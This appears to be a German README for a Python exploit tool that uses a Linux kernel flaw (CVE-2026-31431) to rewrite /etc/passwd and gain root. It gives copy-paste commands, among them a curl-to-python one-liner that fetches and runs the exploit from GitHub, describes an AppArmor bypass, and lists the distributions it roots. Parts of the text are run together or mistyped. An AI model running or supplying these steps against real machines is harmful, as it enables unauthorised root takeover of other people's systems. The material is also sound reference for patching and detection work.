
Python-Implementierung eines lokalen Privilege-Escalation-Exploits für den Linux-Kernel, der CVE-2026-31431 ausnutzt und xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW nutzt, um /etc/passwd zu überschreiben und Root-Rechte zu erlangen.
Python-Port des CopyFail2-Kernel-Exploits, der den xfrm-ESP-in-UDP-MSG_SPLICE_PAGES-No-COW-Fast-Path für eine unprivilegierte Linux-Lokale-Privilegieneskalation ausnutzt.
Ersetzt einen nologin/false-Eintrag in /etc/passwd durch einen passwortlosen uid-0-Benutzer und öffnet über su eine Root-Shell.
Der Kernel-Bug liegt im UDP-Splice-Pfad, der von der xfrm-ESP-in-UDP-Kapselung verwendet wird. splice() in einen UDP-Socket mit MSG_SPLICE_PAGES führt dazu, dass Seiten ohne Auslösung von Copy-on-Write in den Page-Cache des Empfängers abgebildet werden. Dadurch kann in jede Datei geschrieben werden, die sich derzeit im Page-Cache befindet, selbst wenn sie schreibgeschützt geöffnet wurde.
libcrypto.so (OpenSSL)CAP_NET_ADMIN oder die Fähigkeit, Benutzer-Namespaces zu erstellenDieses Repository bietet zwei Varianten. Beide liefern dasselbe Ergebnis; wählen Sie je nach Ihren Anforderungen.
# Einzeiler per Pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"
# Gespeicherte Datei
python3 exploit.py
# Änderungen rückgängig machen
python3 exploit.py --clean
python3 exploit_raw.py
python3 exploit_raw.py --clean
Auf Ubuntu mit aktiviertem apparmor_restrict_unprivileged_userns speichern Sie die Datei zuerst und führen sie von der Festplatte aus; der Pipe-Modus überspringt den AppArmor-Bypass-Tanz.
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py
/etc/passwd-Byte per XOR in den gewünschten Wert umwandelt.127.0.0.1:4500.splice()t drei Bereiche (ESP-Header, Zielbyte aus /etc/passwd, ICV) in eine Pipe.splice()t die Pipe in den UDP-Socket, was den Kernel-Bug auslöst und das Byte in den Page-Cache schreibt.nologin/false-Zeile mit sick::0:0:...:/:/bin/bash zu überschreiben.su - sick öffnet Root (PAM nullok akzeptiert leere Passwörter).cannot acquire CAP_NET_ADMIN
Ihr Kernel hat möglicherweise kernel.unprivileged_userns_clone=0. Aktivieren Sie es:
sudo sysctl kernel.unprivileged_userns_clone=1
Wenn Sie in Docker laufen, starten Sie den Container mit --privileged oder --cap-add=SYS_ADMIN.
Dieses Tool wird ausschließlich für autorisierte Sicherheitsforschung und Bildungszwecke bereitgestellt. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testberechtigung haben. Die Autoren übernehmen keine Haftung für Missbrauch oder Schäden, die durch diese Software verursacht werden.
| Datei | Beschreibung | Geschwindigkeit | Verwendung |
|---|
exploit.py | Optimiert – wiederverwendet xfrm-State/Sockets/Pipe über Mutationen hinweg, verarbeitet 2 aufeinanderfolgende Bytes pro Runde, aktives Polling statt festem Sleep. | ~3–8 s für eine 99-Byte-Zeile | Standardwahl. Schnell, stabil, auf mehreren Distributionen getestet. |
exploit_raw.py | Referenz – am nächsten am ursprünglichen C-Code. Erstellt xfrm-State, Sockets, Pipe und temporäre Datei für jedes einzelne Byte neu, fester 200-ms-Sleep pro Mutation. | ~30–40 s für eine 99-Byte-Zeile | Verwenden Sie diese, wenn Sie den einfachsten möglichen Codepfad für Audits möchten oder wenn die optimierte Version auf einem bestimmten Kernel-Build fehlerhaft ist. |
| Distribution | Kernel | Ergebnis |
|---|
| Ubuntu 24.04 LTS | 6.8.0-110-generic | root |
| Debian 13 | 6.12.74 | root |
| Arch | 6.19.11-arch1-1 | root |
| Fedora 43 | 6.19.14-200.fc43 | root |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | root |
| Ubuntu 22.04 LTS | 5.15.0-176-generic | nicht anfällig |